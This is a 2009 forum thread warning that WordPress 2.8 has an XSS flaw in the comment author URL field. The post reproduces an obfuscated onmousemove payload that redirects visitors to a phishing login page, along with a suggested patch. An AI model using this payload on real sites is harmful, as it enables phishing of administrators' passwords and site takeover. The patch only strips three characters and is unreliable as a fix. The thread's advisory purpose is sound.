Current time: 01-08-2010, 07:32 AM | Shoutbox Hello There, Guest! (LoginRegister)


Post Reply  Post Thread 
Be Careful,Wordpress 2.8 All Version Xss 0DAY
Author Message
wwwsina
GB - Newbie
*


Posts: 6
Group: Registered
Joined: Jun 2009
Status: Offline
Reputation: 0
Post: #1
Be Careful,Wordpress 2.8 All Version Xss 0DAY

Be Careful,Wordpress 2.8 All Version Xss 0DAY

From http://www.vul.kr/?p=569

It had been published that wordpress 2.8 All version are suffering from Xss,attackers can use this to do fishing,they make a wordpress login page as it is your own.If you don’t take care,your password will be sent to the attacker’s website.With your password,they can edit pages and upload webshell.It is harmful.

How is the attacker do this?
they insert website url like this:
http://www.vul.kr

Code:
onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,
119,46,118,117,108,46,107,114,47,63,112,61,53,54,57);


If the someone(or administrator) moved his mouse on the author’s website.It will jump to another URL,which is a fishing page.

How can we patch it?
Edit wp-comments-post.php
go line 40 and then add:

Code:
$comment_author_url = str_replace(chr(39),”,$comment_author_url);
$comment_author_url = str_replace(chr(59),”,$comment_author_url);
$comment_author_url = str_replace(chr(44),”,$comment_author_url);

Webmasters,please patch it as soon as you can.

This post was last modified: 19-07-2009 01:47 AM by Langy.

Firefox Windows XP/2003
Browser e O.S.: 
17-07-2009 05:54 PM
Find all posts by this user Quote this message in a reply
Langy
Administrator
*******


Posts: 8.460
Group: Administrators
Joined: Sep 2007
Status: Offline
Reputation: 10
Post: #2
RE: Be Careful,Wordpress 2.8 All Version Xss 0DAY

nice post man

PS. I have added code tag in your post. Remember it in next post. ty


"There is no patch for human stupidity" - K. D. M.

This post was last modified: 19-07-2009 01:48 AM by Langy.

Firefox Windows XP/2003
Browser e O.S.: 
19-07-2009 01:45 AM
Visit this user's website Find all posts by this user Quote this message in a reply
Post Reply  Post Thread 

View a Printable Version
Send this Thread to a Friend
Subscribe to this Thread | Add Thread to Favorites